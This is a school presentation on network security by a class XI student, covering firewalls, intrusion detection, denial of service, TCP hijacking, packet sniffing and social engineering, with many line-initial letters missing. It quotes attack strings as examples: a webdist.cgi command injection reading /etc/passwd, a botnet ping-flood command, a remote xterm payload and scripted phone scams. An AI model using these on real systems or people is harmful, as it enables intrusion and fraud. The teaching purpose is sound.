BIRLA OPEN MINDS

INTERNATIONAL SCHOOL
PRESENTATION :- IT
NAME :- NEERAJ KUMAR
CLASS :- 11TH
ROLL NO. :- 1107
SUBMITTED TO :- SAHIL SIR
TOPIC :- NETWORK SECURITY
Network Security

Neeraj Kumar
Class XI
 OVERVIEW

hat is security?

hy do we need security?

ho is vulnerable?

ommon security attacks and countermeasures

• Firewalls & Intrusion Detection Systems
• Denial of Service Attacks
• TCP Attacks
• Packet Sniffing
• Social Problems
 WHAT IS “SECURITY”

ictionary.com says:
• 1. Freedom from risk or danger; safety.
• 2. Freedom from doubt, anxiety, or fear; confidence.
• 3. Something that gives or assures safety, as:
• 1. A group or department of private guards: Call building
security if a visitor acts suspicious.
• 2. Measures adopted by a government to prevent
espionage, sabotage, or attack.
• 3. Measures adopted, as by a business or homeowner, to
prevent a crime such as burglary or assault: Security was
lax at the firm's smaller plant.
…etc.
 WHY DO WE NEED SECURITY?

rotect vital information while still allowing access to those who need it
• Trade secrets, medical records, etc.

rovide authentication and access control for resources

• Ex: AFS

uarantee availability of resources

• Ex: 5 9’s (99.999% reliability)
 WHO IS VULNERABLE?

inancial institutions and banks

nternet service providers

harmaceutical companies

overnment and defense agencies

ontractors to various government agencies

ultinational corporations

NYONE ON THE NETWORK

 COMMON SECURITY ATTACKS
AND THEIR
COUNTERMEASURES

inding a way into the network

• Firewalls

xploiting software bugs, buffer overflows

• Intrusion Detection Systems

enial of Service
• Ingress filtering, IDS

CP hijacking
• IPSec

acket sniffing
• Encryption (SSH, SSL, HTTPS)

ocial problems
• Education
 FIREWALLS

asic problem – many network applications and protocols have

security problems that are fixed over time
• Difficult for users to keep up with changes and keep host secure
• Solution
• Administrators limit access to end hosts by using a firewall
• Firewall is kept up-to-date by administrators
 FIREWALLS

firewall is like a castle with a drawbridge

• Only one point of access into the network
• This can be good or bad

an be hardware or software
• Ex. Some routers come with firewall functionality
• ipfw, ipchains, pf on Unix systems, Windows XP and Mac OS X
have built in firewalls
 FIREWALLS
Internet DMZ
Web server, email
server, web proxy,
etc
Firewall

Firewall
Intranet
 FIREWALLS

sed to filter packets based on a combination of features

• These are called packet filtering firewalls
• There are other types too, but they will not be discussed
• Ex. Drop packets with destination port of 23 (Telnet)
• Can use any combination of IP/UDP/TCP header information
• man ipfw on unix47 for much more detail

ut why don’t we just turn Telnet off?

 FIREWALLS

ere is what a computer with a default Windows XP install looks like:

• 135/tcp open loc-srv
• 139/tcp open netbios-ssn
• 445/tcp open microsoft-ds
• 1025/tcp open NFS-or-IIS
• 3389/tcp open ms-term-serv
• 5000/tcp open UPnP

ight need some of these services, or might not be able to control all the
machines on the network
 FIREWALLS

hat does a firewall rule look like?

• Depends on the firewall used

xample: ipfw
• /sbin/ipfw add deny tcp from
cracker.evil.org to wolf.tambov.su telnet

ther examples: WinXP & Mac OS X have built in and third party firewalls
• Different graphical user interfaces
• Varying amounts of complexity and power
 INTRUSION DETECTION

sed to monitor for “suspicious activity” on a network

• Can protect against known software exploits, like buffer overflows

pen Source IDS: Snort, www.snort.org

 INTRUSION DETECTION

ses “intrusion signatures”

• Well known patterns of behavior
• Ping sweeps, port scanning, web server indexing, OS fingerprinting, DoS attempts, etc.

xample
• IRIX vulnerability in webdist.cgi
• Can make a rule to drop packets containing the line
• “/cgi-bin/webdist.cgi?distloc=?;cat%20/etc/passwd”

owever, IDS is only useful if contingency plans are in place to curb attacks as
they are occurring
 MINOR DETOUR…

ay we got the /etc/passwd file from the IRIX server

hat can we do with it?

 DICTIONARY ATTACK

e can run a dictionary attack on the passwords

• The passwords in /etc/passwd are encrypted with the crypt(3) function
(one-way hash)
• Can take a dictionary of words, crypt() them all, and compare with the
hashed passwords

his is why your passwords should be meaningless random junk!

• For example, “sdfo839f” is a good password
• That is not my andrew password
• Please don’t try it either
 DENIAL OF SERVICE

urpose: Make a network service unusable, usually by overloading the

server or network

any different kinds of DoS attacks

• SYN flooding
• SMURF
• Distributed attacks
• Mini Case Study: Code-Red
 DENIAL OF SERVICE

YN flooding attack
end SYN packets with bogus source address
• Why?

erver responds with SYN ACK and keeps state about TCP half-open
connection
• Eventually, server memory is exhausted with this state

olution: use “SYN cookies”

• In response to a SYN, create a special “cookie” for the connection, and
forget everything else
• Then, can recreate the forgotten information when the ACK comes in
from a legitimate connection
DENIAL OF SERVICE
 DENIAL OF SERVICE

MURF
• Source IP address of a broadcast ping is forged
• Large number of machines respond back to victim, overloading it
 DENIAL OF SERVICE
IC M P e c h o ( s p o o f e d s o u r c e a d d r e s s o f v ic tim )
S e n t to IP b r o a d c a s t a d d r e s s
IC M P e c h o r e p ly

In te rn e t

P e rp e tra to r V ic tim
 DENIAL OF SERVICE

istributed Denial of Service

• Same techniques as regular DoS, but on a much larger scale
• Example: Sub7Server Trojan and IRC bots
• Infect a large number of machines with a “zombie” program
• Zombie program logs into an IRC channel and awaits commands
• Example:
• Bot command: !p4 207.71.92.193
• Result: runs ping.exe 207.71.92.193 -l 65500 -n 10000
• Sends 10,000 64k packets to the host (655MB!)
• Read more at: http://grc.com/dos/grcdos.htm
 DENIAL OF SERVICE

ini Case Study – CodeRed

• July 19, 2001: over 359,000 computers infected with Code-Red in
less than 14 hours
• Used a recently known buffer exploit in Microsoft IIS
• Damages estimated in excess of $2.6 billion
 DENIAL OF SERVICE

hy is this under the Denial of Service category?

• CodeRed launched a DDOS attack against www1.whitehouse.gov
from the 20th to the 28th of every month!
• Spent the rest of its time infecting other hosts
 DENIAL OF SERVICE

ow can we protect ourselves?

• Ingress filtering
• If the source IP of a packet comes in on an interface which does not
have a route to that packet, then drop it
• RFC 2267 has more information about this
• Stay on top of CERT advisories and the latest security patches
• A fix for the IIS buffer overflow was released sixteen days before
CodeRed had been deployed!
 TCP ATTACKS

ecall how IP works…

• End hosts create IP packets and routers process them purely based
on destination address alone

roblem: End hosts may lie about other fields which do not affect
delivery
• Source address – host may trick destination into believing that the
packet is from a trusted source
• Especially applications which use IP addresses as a simple
authentication method
• Solution – use better authentication methods
 TCP ATTACKS

CP connections have associated state

• Starting sequence numbers, port numbers

roblem – what if an attacker learns these values?

• Port numbers are sometimes well known to begin with (ex. HTTP
uses port 80)
• Sequence numbers are sometimes chosen in very predictable ways
 TCP ATTACKS

f an attacker learns the associated TCP state for the connection,

then the connection can be hijacked!

ttacker can insert malicious data into the TCP stream, and the
recipient will believe it came from the original source
• Ex. Instead of downloading and running new program, you
download a virus and execute it
 TCP ATTACKS

ay hello to Alice, Bob and Mr. Big Ears

 TCP ATTACKS

lice and Bob have an established TCP connection

 TCP ATTACKS

r. Big Ears lies on the path between Alice and Bob on the network
• He can intercept all of their packets
 TCP ATTACKS

irst, Mr. Big Ears must drop all of Alice’s packets since they must
not be delivered to Bob (why?)
Pa
ck
ets

The Void
 TCP ATTACKS

hen, Mr. Big Ears sends his malicious packet with the next ISN
(sniffed from the network)

ISN, SRC=Alice
 TCP ATTACKS

hat if Mr. Big Ears is unable to sniff the packets between Alice and
Bob?
• Can just DoS Alice instead of dropping her packets
• Can just send guesses of what the ISN is until it is accepted

ow do you know when the ISN is accepted?

• Mitnick: payload is “add self to .rhosts”
• Or, “xterm -display MrBigEars:0”
 TCP ATTACKS

hy are these types of TCP attacks so dangerous?

Web server Trusting web client

Malicious user
 TCP ATTACKS

ow do we prevent this?

PSec
• Provides source authentication, so Mr. Big Ears cannot pretend to
be Alice
• Encrypts data before transport, so Mr. Big Ears cannot talk to Bob
without knowing what the session key is
 FIVE MINUTE BREAK

or your enjoyment, here is something completely unrelated to this

lecture:
 PACKET SNIFFING

ecall how Ethernet works …

hen someone wants to send a packet to some else …

hey put the bits on the wire with the destination MAC address …

nd remember that other hosts are listening on the wire to detect for
collisions …

t couldn’t get any easier to figure out what data is being transmitted
over the network!
 PACKET SNIFFING

his works for wireless too!

n fact, it works for any broadcast-based medium

 PACKET SNIFFING

hat kinds of data can we get?

sked another way, what kind of information would be most useful to a

malicious user?

nswer: Anything in plain text

• Passwords are the most popular
PACKET SNIFFING
PACKET SNIFFING
 SOCIAL PROBLEMS

eople can be just as dangerous as unprotected computer systems

• People can be lied to, manipulated, bribed, threatened, harmed,
tortured, etc. to give up valuable information
• Most humans will breakdown once they are at the “harmed” stage,
unless they have been specially trained
• Think government here…
 SOCIAL PROBLEMS

un Example 1:
• “Hi, I’m your AT&T rep, I’m stuck on a pole. I need you to punch
a bunch of buttons for me”
 SOCIAL PROBLEMS

un Example 2:
• Someone calls you in the middle of the night
• “Have you been calling Egypt for the last six hours?”
• “No”
• “Well, we have a call that’s actually active right now, it’s on your
calling card and it’s to Egypt and as a matter of fact, you’ve got about
$2000 worth of charges on your card and … read off your AT&T card
number and PIN and then I’ll get rid of the charge for you”
 SOCIAL PROBLEMS

un Example 3:
• Who saw Office Space?
• In the movie, the three disgruntled employees installed a money-
stealing worm onto the companies systems
• They did this from inside the company, where they had full access
to the companies systems
• What security techniques can we use to prevent this type of access?
 SOCIAL PROBLEMS

here aren’t always solutions to all of these

problems
• Humans will continue to be tricked into giving out
information they shouldn’t
 SOCIAL PROBLEMS
• Educating them may help a little here, but, depending
on how bad you want the information, there are a lot
of bad things you can do to get it
 SOCIAL PROBLEMS

o, the best that can be done is to implement a wide

variety of solutions and more closely monitor who
has access to what network resources and
information
• But, this solution is still not perfect
 CONCLUSIONS

he Internet works only because we implicitly trust one another

t is very easy to exploit this trust

he same holds true for software

t is important to stay on top of the latest CERT security advisories to know how to
patch any security holes